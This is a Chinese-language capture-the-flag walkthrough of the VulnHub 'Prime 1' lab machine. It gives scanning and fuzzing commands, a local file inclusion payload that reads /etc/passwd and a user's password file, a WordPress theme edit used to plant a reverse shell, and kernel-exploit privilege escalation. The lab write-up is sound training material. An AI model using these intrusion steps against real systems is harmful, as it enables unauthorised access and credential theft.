vulnhub - Prime 1 （考点：信息搜集 & LFI &WordPress安全& linux ubantu提权）

https://www.vulnhub.com/entry/prime-1,358/

nat网络
arp-scan -l 比平常扫出来多的ip就是靶机了

nmap 很常规80想到进web搜集信息，22想到可能有ssh登录

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 8d:c5:20:23:ab:10:ca:de:e2:fb:e5:cd:4d:2d:4d:72 (RSA)
|   256 94:9c:f8:6f:5c:f1:4c:11:95:7f:0a:2c:34:76:50:0b (ECDSA)
|_  256 4b:f6:f1:25:b6:13:26:d4:fc:9e:b0:72:9f:f4:69:68 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: HacknPentest
MAC Address: 00:0C:29:AE:D2:A3 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

拿dirb或dirbuster扫，发现WordPress的目录，这就是个wp博客，看到这个博客就要想到wpscan扫它，然后找可能的用户登录或插件漏洞。

扫用户，发现一个。扫插件，有个很老，但是那个版本我没搜到漏洞

wpscan --url http://192.168.189.203/wordpress/ --enumerate u
wpscan --url http://192.168.189.203/wordpress/ --plugins-detection aggressive

基本就是找密码登录然后进去改theme的php页面拿shell这个套路了

现在问题是密码在哪，继续搜集

dirbuster或dirb扫到一个secret.txt文件

叫你用wfuzz扫，还给了wfuzz学习界面。要求扫到location txt

wfuzz这个工具里的FUZZ就像代数那样，是你设的x，然后能扫出x是啥。FUZZ的位置要么放前面成为域名前缀，要么放后面是子域名

wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt  --hc 404 --hw 500 http://192.168.189.203/index.php?FUZZ=location.txt

就这个是8l与众不同所以是他，

http://192.168.189.203/index.php?file=location.txt

进入后又给提示

要求换个php ，之前我们扫的目录有image php

这次放后面才搜得到

wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt  --hc 404 --hw 500 http://192.168.189.203/image.php?secrettier360=FUZZ

是dev

然后打开看

就没了

但是这就像file=什么这样，是个LFI漏洞

只不过这次file换成了secrettier360

测试

http://192.168.189.203/image.php?secrettier360=../../../../../../etc/passwd

发现

底下还隐藏了密码信息提示

根据提示，继续看密码存放的路径

http://192.168.189.203/image.php?secrettier360=../../../../../../home/saket/password.txt

ok找到了，结合之前发现的用户，然后进入wp登录界面，可以从之前的扫目录工具里找到，不是login就是admin

进去后就是之前说的老套路了。

theme-edit 修改一个php页面，换上自己的弹shell php代码这个或者随便其他你喜欢用的

只不过这次很多php不让修改。但是可以找到secret php 这个是可以修改的

改好后，做多了就知道php存放的路径了，或者根据目录扫描工具找。总是存放在content-theme-下面

点击

192.168.189.203/wordpress/wp-content/themes/twentynineteen/secret.php

收到shell
tty： python -c 'import pty; pty.spawn("/bin/bash")'

老套路linpeas.sh自动扫

发现这个

但是老要输入密码，扎到saket目录下的密码文件又没效。搞不懂是啥回事

看看是否能版本提前， ubantu漏洞多

提权工具

./linux-exploit-suggester.sh -k 4.10.0

第一个就可以试试，打开工具给的exploitDB地址。下载下来考到靶机 进行gcc编译。然后直接成功root